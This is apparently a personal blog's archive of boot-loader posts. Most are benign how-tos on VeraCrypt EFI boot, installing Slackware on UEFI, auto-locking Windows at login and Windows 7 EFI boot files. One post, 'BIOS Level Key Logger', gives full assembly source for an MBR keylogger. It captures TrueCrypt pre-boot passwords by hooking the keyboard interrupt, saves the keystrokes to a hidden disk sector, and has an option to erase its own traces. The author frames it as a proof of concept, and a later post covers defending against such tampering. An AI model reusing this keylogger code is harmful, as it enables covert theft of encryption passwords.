Home Page
Archive > Posts > Tags > Boot Loader
Search:

Fixing VeraCrypt EFI Boot

I recently decided to swap around my hard drives to different SATA slots so my most used hard drives were on the fastest ports. Unfortunately, when I did this, my computer stopped booting to Windows. I never did figure out why my bootable EFI partitions only showed up randomly in BIOS depending on which hard drives were plugged in, but I found a configuration the computer liked and I was able to see the Microsoft Boot EFI partition and EFI boots on my USB keys.


The next step was to get the computer actually booting to something I could run commands on. When I try to boot directly to the EFI shell, the resolution is always screwed up and I can only see the top half of what should be visible, so I can’t actually see the command line I am typing too. This actually happens to everything I directly boot to that uses console text. The way around this for me is that I need to boot to the BIOS setup, and from there tell it to boot immediately to the EFI option of my choice when exiting the BIOS. From there, the proper resolution is used and everything is visible.


Next, in the EFI shell, you can run map to see all of the available possible mounts. This should automatically run when the EFI shell starts anyways, so you should already have that information. Any detected EFI partition on any bootable device should be given a mapping of “fs#” where # is a number. In my case, it was fs0. So to mount that, I ran mount fs0 x. “x” could be whatever you want, it doesn’t really matter. It’s analogous to a drive letter in windows, and you can make it any string (within reason, I believe anything alphanumeric should be fine). So next you would run x: to switch to that drive. From there, you can run cd EFI\Microsoft\Boot and then bootmgfw.efi to boot to windows.


Since I use VeraCrypt system encryption, I had to go to “EFI\VeraCrypt” and run DcsBoot.efi to finally boot into Windows through VeraCrypt.


Finally, to get the Windows Boot manager to start with VeraCrypt, run in the Windows command prompt bcdedit /set '{bootmgr}' path \EFI\VeraCrypt\DcsBoot.efi.

Slackware 64 Linux Install on UEFI

I recently tried to install Slackware 4.2 64-bit (Linux) onto a new mini PC I just bought. The new PC only supports UEFI so I had major issues getting the darn setup on the install cd to actually run. I never DID actually get the install cd to boot properly on the system, so I used an alternative. While the slack install usb key was in, I also added and loaded up an ubuntu live cd usb key. The following is what I used to run the slackware setup in Ubuntu.

#Login as root
#sudo su

#Settings
InstallDVDName=SlackDVD #This is whatever you named your slackware usb key

#/mnt will contain the new file system for running the setup
cd /mnt

#Extract the initrd.img from the slackware dvd into /mnt
cat /media/ubuntu/$InstallDVDName/isolinux/initrd.img | gzip -d | cpio -i

#Bind special linux directories into the /mnt folder
for i in proc sys dev tmp; do mount -o bind /$i ./$i; done

#Mount the cdrom folder into /mnt/cdrom
rm cdrom
mount -o bind /media/ubuntu/$InstallDVDName/ ./cdrom

#Set /mnt as our actaul (ch)root
chroot .

#Run the slackware setup
usr/lib/setup/setup

#NOTE: When installing, your package source directory is at /cdrom/slackware64
Auto Locking Windows on Login

On my primary computer (whose harddrive is encrypted) I always have Windows auto logging in to help with the bootup time. However, my bootup time can be rather slow; and if I needed to have my computer booted but locked, I had to wait for the login to complete so I could lock the computer. This has been becoming a nuisance lately when I need to get out of my house quickly in the morning.

For the solution I created a windows boot entry that auto locks the computer after logging the user in. This also requires a batch file, to run for the user on startup, to detect when this boot entry was selected. Here are the steps to create this setup:


  1. Create the new boot entry: In the windows command line, run: bcdedit /copy {current} /d "Lock on Startup"
    This creates a new boot option, duplicated from your currently selected boot option, in the boot menu labeled “Lock on Startup”.
  2. (Optional) Change the bootup timeout: In the windows command line, run: bcdedit /timeout 5
    Where 5 is a 5 second timeout.
  3. Create a batch file to run on login: In your start menu’s startup folder, add a batch file. You can name it anything as long as the extension is “.bat”.
    Add the following to the file: bcdedit /enum {current} | findstr /r /c:"description *Lock on Startup" && rundll32.exe user32.dll,LockWorkStation
    Note that there are 2 spaces in the description search string to replicate the regular expression's 1 or more quantifier “+”, since findstr only supports the 0 or more quantifier “*”.
Booting Windows from a GPT drive with EFI

It took me days to get a Windows 7 install back up when I lost a drive with the MBR record that booted to my GPT drive. The windows booting and install processes are just REALLY finicky and temperamental. One of my largest problems was that I couldn’t find certain required files online, so the only way to acquire them was to unhook all but 1 GPT partitioned drive from the computer and install Windows to it.

Here are the files needed to boot Windows 7 x64 from a GPT drive, assuming your mother board supports EFI. The first step is creating a system partition anywhere on the drive (you may have to shrink another partition) and extract these files to that partition. This blog post has good instructions on the entire process, however, instead of using bcdboot, I recommend using “bootrec /ScanOS” followed by “bootrec /RebuildBCD”. You MAY also need a “bootrec /FixMBR”.

These files were obtained from a Windows 7 x64 Ultimate install, so it should work if your install type matches. I expect it will work for any Windows version of an x64 install.


Here is a list of the files:
EFI
├── Boot
│   └── bootx64.efi
└── Microsoft
    └── Boot
        ├── bootmgfw.efi
        ├── bootmgr.efi
        ├── BOOTSTAT.DAT
        ├── cs-CZ
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── da-DK
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── de-DE
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── el-GR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── en-US
        │   ├── bootmgfw.efi.mui
        │   ├── bootmgr.efi.mui
        │   └── memtest.efi.mui
        ├── es-ES
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── fi-FI
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── Fonts
        │   ├── chs_boot.ttf
        │   ├── cht_boot.ttf
        │   ├── jpn_boot.ttf
        │   ├── kor_boot.ttf
        │   └── wgl4_boot.ttf
        ├── fr-FR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── hu-HU
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── it-IT
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ja-JP
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ko-KR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── memtest.efi
        ├── nb-NO
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── nl-NL
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pl-PL
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pt-BR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── pt-PT
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── ru-RU
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── sv-SE
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── tr-TR
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── zh-CN
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        ├── zh-HK
        │   ├── bootmgfw.efi.mui
        │   └── bootmgr.efi.mui
        └── zh-TW
            ├── bootmgfw.efi.mui
            └── bootmgr.efi.mui

27 directories, 57 files

“EFI\Microsoft\Boot\BCD” is not included because it is computer dependent and is created with the bootrec command.
“EFI\Microsoft\Boot\BCD.LOG*” are not included for obvious reasons.
BIOS Level Key Logger
More Boot Loader Fun

So I decided to play around more with boot loaders for a bit of fun and learning. I couldn’t come up with a good project to do, so I defaulted on writing a proof of concept for a TrueCrypt pre-boot authenticated volume key logger (again, see my last Boot Loaders post for more information).

Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.

This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.


I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).

Installing works as follows:
  • Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
  • Installs the compiled code to the boot loader sector.

Once installed, the key logger (v1.0 source) [v1.0 compiled binary] boot loader works as follows:
  • When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
  • It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
  • If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
  • It then installs a BIOS interrupt hook on the keyboard interrupt (0x9) to call the key logger.
  • The final step is to execute the original boot loader which is now at the boot loader location in memory.

The key logger works as follows:
  • When a key is pressed, the key logger code is called.
  • It first calls the original interrupt 0x9 keyboard handling code.
  • It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
  • The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
  • Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.

The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information

ORG 0x7C00 ;Origin location

;Constants
Start:					;Where the program starts (0x7C00)
SectorSize equ 0x200		;Size of a sector (and the boot loader)

;User defined constants
	;Memory mappings
	NewStart equ Start+SectorSize				;Where the boot loader will be copied to in memory for execution
	WhereToRecord equ Start+SectorSize*2 	;Where to record key strokes in memory (the save buffer)

	;Hard drive mappings
	WriteSector equ 60				;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
	OriginalBootLoaderSector equ 61	;The hard drive sector the original boot loader is written to
	EraseEvidence equ 0				;Boolean dictating whether to restore the original boot loader and clear out where it was copied

;More constants
CodeOffset equ NewStart-Start		;The code is actually offset this amount when copied to the new memory location

;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax

;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9								;Jump to...
dw CodeOffset						;...Location where code is moved to

;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2							;Read instruction
mov dl,0x80							;Drive #0 (0x80-x)
mov al,1								;1 sector
xor dh,dh							;Head #0
xor ch,ch							;Track #0
mov cl,OriginalBootLoaderSector+1	;Sector to read from
mov bx,Start							;Memory location to write to
int 0x13								;BIOS drive function

;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb

;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence					;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence					;If false, do not do so
mov bx,Start							;The buffer to write (which is now the original boot loader)
mov cl,0+1							;Write to the first sector
call WriteToDrive						;Do the write to restore the original boot loader
mov bx,WhereToRecord				;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1	;Write to where the original boot loader was stored
call WriteToDrive						;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:

;Hook the keyboard interrupt
cli												;Disable interrupts
mov eax, [es:0x9*4]								;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax		;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset		;Install INT 9 filter
sti												;Enable interrupts

;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys

;Execute the original boot loader
db 0xe9									;Jump to...
dw -CodeOffset-($-Start)-2				;...Original start, which now contains the original boot loader

;Keyboard hook
Int9Hook:
	pushf								;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
	DB 9Ah								;CALL FAR PROC SEGMENT:OFFSET
		OriginalInt9Handler dd 0			;The original Interrupt 9 handler (in segment:offset format [ror 16])

	;Save registers and zero out es
	pusha
	xor bx,bx
	mov es,bx

	;Get the character we are currently on in the save buffer, and if >512, do not record
	mov di,[es:CharacterOn+CodeOffset]	;di=The character we are currently on
	cmp di,512
	jge SkipInt9

	;Loop through the keyboard buffer
	mov esi,[es:0x41A]					;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
	add esi,0x04000400					;Beginning and end +=0x400, si=keyboard buffer head
	mov ecx,esi
	shr ecx,16							;cx=keyboard buffer tail
	mov bx,0x41E						;bx=The beginning of the keyboard buffer
	cmp si,cx							;Check if there are no characters to write (head==tail)
	je SkipInt9							;If there are no keys to write, jump to end
	WriteKey:							;Save a single keyboard character to our save buffer.
		;Save the character
		mov al,[es:si]					;Fetch the character, use es:si+1 to save the scancode instead
		mov [es:di+WhereToRecord],al	;Save the character
		;Update where we are in the save buffer and make sure we are not at the end (>512)
		inc di							;Update where we are in the buffer
		cmp di,512
		jge FinishedKeyboardBuffer

		;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
		add si,2							;Move to the next character in the keyboard buffer
		cmp si,0x43E					;If we have exceeded the keyboad buffer length...
		cmovge si,bx						;...loop back to the beginning
		cmp si,cx						;If there are still more characters to write (head<tail)
		jl WriteKey						;Write the next character
	FinishedKeyboardBuffer:

	mov [es:CharacterOn+CodeOffset],di	;Update where we are in the save buffer

	;Write the updated keylogger to the harddrive
	mov cl,WriteSector+1					;Sector to write to
	mov bx,WhereToRecord
	call WriteToDrive

	;Clean up from the interrupt
	SkipInt9:
	popa
	iret

;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3			;Write instruction
mov dl,0x80			;Drive #0 (0x80-x)
mov al,1				;1 sector
xor dh,dh			;Head #0
xor ch,ch			;Track #0
int 0x13				;BIOS drive function
ret					;Return from function

;Variables
CharacterOn dw 0	;What character we are on in the character buffer

;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
My New Boot Loader
Hijack it at the beginning

I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.

I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).

I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).


Video Notes:
  • It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
  • The boot loader was ran through a virtual machine (VMWare) so I could easily record it.

Here is the code for the boot loader (in assembly), and here is the compiled boot loader which can be placed in the boot sector of any bootable medium (Hard Drive, USB Flash, CD, etc).


Warning:

Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.



Useful Wikipedia references: INT 10 (BIOS interrupt call for video services), BIOS Color Attributes